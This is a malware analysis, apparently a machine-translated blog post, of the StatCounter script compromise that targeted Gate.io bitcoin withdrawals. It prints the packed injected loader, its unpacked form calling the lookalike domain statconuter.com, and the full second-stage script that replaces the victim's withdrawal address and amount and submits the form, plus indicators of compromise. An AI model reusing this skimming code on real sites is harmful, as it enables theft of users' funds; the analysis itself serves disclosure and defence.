Attaque d'échange de crypto-monnaie Gate.io enregistrée

Le 4 novembre, les attaquants ont compromis StatCounter, une plateforme d'analyse du trafic Web. Le service est utilisé pour collecter des statistiques sur les visiteurs du site, à peu près comme Google Analytics. Pour ce faire, les webmasters ajoutent une balise JavaScript externe à chaque page du site contenant un morceau de code StatCounter - www.statcounter [.] Com / counter / counter.js. En utilisant StatCounter, les attaquants peuvent injecter du code JavaScript dans tous les sites utilisant cette plateforme. Cependant, le but de l'attaque était une ressource - l'échange de crypto-monnaie Gate.io.


Selon ses propres données , StatCounter compte plus de deux millions de sites participants et recueille des statistiques sur plus de 10 milliards de pages Web vues par mois. Sa note Alexa est juste au-dessus de 5000 (à titre de comparaison, le site officiel de Debian Linux, debian.org, a une note comparable).



Les attaquants ont modifié le script sur www.statcounter [.] Com / counter / counter.js, en ajoutant un morceau de code malveillant montré dans le formulaire ci-dessous au milieu du script. Cela est inhabituel car un code malveillant est souvent ajouté au début ou à la fin d'un fichier légitime. Le code au milieu d'un script existant est plus difficile à remarquer si vous ne le lisez pas.

eval(function(p, a, c, k, e, r) { e = function(c) { return c.toString(a) }; if (!''.replace(/^/, String)) { while (c--) r[e(c)] = k[c] || e(c); k = [function(e) { return r[e] }]; e = function() { return '\\w+' }; c = 1 }; while (c--) if (k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]); return p }('3=""+2.4;5(3.6(\'7/8/9\')>-1){a 0=2.b(\'d\');0.e=\'f://ghi/cj\';0.k(\'l\',\'m\');2.nop(0)}', 26, 26, 'ga||document|myselfloc|location|if|indexOf|myaccount|withdraw|BTC|var|createElement||script|src|https|www|statconuter|com|php|setAttribute|async|true|documentElement|firstChild|appendChild'.split('|'), 0, {})); 

Le script a été créé à l'aide de l'encapsuleur Dean Edwards, probablement l'encapsuleur JavaScript le plus populaire. Cependant, vous pouvez simplement le décompresser, ce qui entraînera l'exécution du code de script réel, comme indiqué ci-dessous.

 myselfloc = '' + document.location; if (myselfloc.indexOf('myaccount/withdraw/BTC') > -1) { var ga = document.createElement('script'); ga.src = 'https://www.statconuter.com/c.php'; ga.setAttribute('async', 'true'); document.documentElement.firstChild.appendChild(ga); } 

L'extrait de code vérifie si l'URL contient l'identifiant de ressource unifiée (URI) mon compte / retrait / BTC . Sur cette base, nous pouvons conclure que la cible des attaquants est la plate-forme Bitcoin. Après avoir trouvé le résultat souhaité, le script ajoute un nouvel élément de script à la page Web, incorporant le code www.statconuter [.] Com / c.php.

Veuillez noter que les attaquants ont enregistré un domaine très similaire au StatCounter légitime. La différence en deux lettres - il est difficile de remarquer lors de la consultation de magazines pour une activité suspecte. Soit dit en passant, en vérifiant le DNS passif du domaine, nous avons constaté qu'en 2010, il était bloqué pour des violations opérationnelles.



Encore une fois, le script cible un identifiant spécifique (URI): mon compte / retirer / BTC . Au moment d'écrire ces lignes, parmi tous les échanges de crypto-monnaie, seul Gate.io avait une page valide avec cet URI. Il semble que cet échange particulier ait été la cible de l'attaque. Ce site est assez populaire: sa cote Alexa est de 26 251, et sa note en Chine est de 8 308.



De plus, selon coinmarketcap.com, plusieurs millions de dollars transitent quotidiennement sur cette plateforme, dont 1,6 million de dollars en bitcoins. En général, l'intérêt des attaquants pour Gate.io est facile à expliquer.



La page Web www.gate [.] Io / monaccompte / retirer / BTC (voir ci-dessous) est utilisée pour transférer des bitcoins d'un compte sur gate.io vers une adresse externe.



La charge utile de la deuxième étape avec statconuter [.] Com / c.php est conçue pour voler des bitcoins. Le script, également empaqueté à l'aide de Dean Edwards, est intégré dans la page Web pour traduire les bitcoins en Gate.io. Version non emballée ci-dessous.

 document.forms[0]['addr'].value = ''; document.forms[0]['amount'].value = ''; doSubmit1 = doSubmit; doSubmit = function () { var a = document.getElementById('withdraw_form'); if ($('#amount').val() > 10) { document.forms[0]['addr']['name'] = ''; var s = $("<input type='hidden' name='addr'/>"); s.attr('value', '1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad'); var b = $('#withdraw_form'); b.append(s); a.submit(); } else if (document.getElementById('canUse').innerText > 10) { document.forms[0]['addr']['name'] = ''; var s = $("<input type='hidden' name='addr'/>"); s.attr('value', '1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad'); var b = $('#withdraw_form'); b.append(s); document.forms[0]['amount']['name'] = ''; var t = $("<input type='hidden' name='amount'/>"); t.attr('value', Math.min(document.getElementById('canUse').innerText, document.getElementById('dayLimit').innerText)); b.append(t); a.submit(); } else { doSubmit1(); } }; 

La page Gate.io légitime a une fonction doSubmit qui est appelée lorsque l'utilisateur clique sur le bouton d' doSubmit . Dans notre cas, les attaquants l'ont changé.

Le script malveillant remplace automatiquement l'adresse du portefeuille Bitcoin de l'utilisateur par l'adresse appartenant à l'attaquant, par exemple, 1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad . Le serveur attaquant génère une nouvelle adresse chaque fois qu'un visiteur télécharge le script statconuter [.] Com / c.php.

Le script utilise le montant entré par la victime (si la victime transfère plus de dix bitcoins) ou la limite quotidienne pour supprimer la crypto-monnaie du compte. Dans notre compte de test, la limite de radiation a été fixée à 100 BTC. Enfin, le script soumet un formulaire qui transfère des fonds du compte de la victime à l'adresse du portefeuille des attaquants.

La redirection des fonds se fait probablement de manière invisible pour les victimes, puisque le portefeuille est changé après avoir cliqué sur le bouton "Envoyer". Cela se produit très rapidement et sans affichage visuel.

Une nouvelle adresse bitcoin des cybercriminels est générée chaque fois qu'un script malveillant est demandé, nous ne pouvons donc pas estimer leurs revenus. Si vous vérifiez l'adresse que nous avons utilisée sur la machine de test, le solde est nul.



Conclusion


Nous ne savons pas combien de bitcoins ont été volés lors de cette attaque. Cependant, l'incident montre comment les attaquants peuvent agir pour attaquer une ressource spécifique, en particulier un échange de crypto-monnaie. Pour voler des bitcoins aux utilisateurs d'un échange, ils ont compromis la plate-forme analytique que des millions de sites Web utilisent, y compris plusieurs sites gouvernementaux.

De plus, cela montre que même si votre site est mis à jour et protégé de manière fiable, il est toujours vulnérable aux attaques via des ressources tierces. Un autre rappel que le code JavaScript externe tiers peut être modifié à tout moment sans préavis.

Nous avons averti StatCounter et Gate.io d'une activité malveillante.

Indicateurs de compromis


URL malveillantes

www.statcounter [.] Com / counter / counter.js
www.statconuter [.] Com / c.php

Source: https://habr.com/ru/post/fr429050/


All Articles